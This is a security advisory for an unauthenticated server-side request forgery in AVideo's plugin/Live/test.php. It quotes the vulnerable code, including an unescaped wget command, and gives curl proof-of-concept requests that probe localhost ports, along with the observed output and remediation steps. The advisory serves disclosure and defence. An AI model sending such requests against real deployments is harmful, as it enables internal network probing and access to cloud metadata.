Unauthenticated SSRF via plugin/Live/test.php

Critical **DanielnetoDotCom** published **GHSA-3fpm-8rjr-v5mc** on Mar 20

Package

php **wwbn/avideo** (Composer)

Affected versions

<=26.0

Patched versions

None

Description

Summary

An unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.

Details

The endpoint accepts `$_REQUEST['statsURL']` and only checks that it starts with `http`:

```
$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL))
    exit;
}
```

It then calls:

```
$result = url_get_contents($statsURL, 2);
```

Inside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled:

```
$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));
```

There is:

- no authentication check
- no allowlist of trusted stats URLs
- no SSRF-safe URL validation
- reflected response/error output

Validated on source:

- test.php

PoC

Target used during validation:

```
http://127.0.0.1:80
```

1. Probe a closed localhost port:

```
curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'
```

Observed response excerpt:

```
Starting try to get URL http://127.0.0.1:1/
url_get_contents start timeout=2
Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection
refused
file_get_contents fail return an empty content
FAIL
```

2. Probe the local web service itself:

```
curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'
```

This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.

Impact

This is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`.

An attacker can:

- probe localhost and internal network services
- distinguish open and closed ports
- target cloud metadata endpoints if reachable
- retrieve reflected content from internal HTTP services when the upstream responds with a body

The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.

remediation

The safest fix is to remove `plugin/Live/test.php` from production deployments.

If it must remain:

- require admin authentication
- only allow requests to explicitly configured Live stats URLs
- block localhost, RFC1918, link-local, and metadata IP ranges
- stop reflecting fetched bodies and raw upstream errors to the client

Minimal hardening example:

```
require_once dirname(__FILE__) . '/../../videos/configuration.php';

if (!User::isAdmin()) {
    http_response_code(403);
    exit('Forbidden');
}

$statsURL = $_REQUEST['statsURL'] ?? '';
if (empty($statsURL) || !isSSRFSafeURL($statsURL)) {
    exit('Unsafe URL');
}
```

Remove `wget` Fallback Entirely

The `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94–119 of `test.php`.

If wget must remain, escape the argument:

```
// BEFORE (vulnerable)
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
```

```
// AFTER (safe)
$cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . "
```

Defense in Depth

1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)
2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch
3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level

Severity

Critical 9.3 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

CVE ID

CVE-2026-33502

Weaknesses

▶ CWE-918

Credits

 **Ahmad-jarwan** Reporter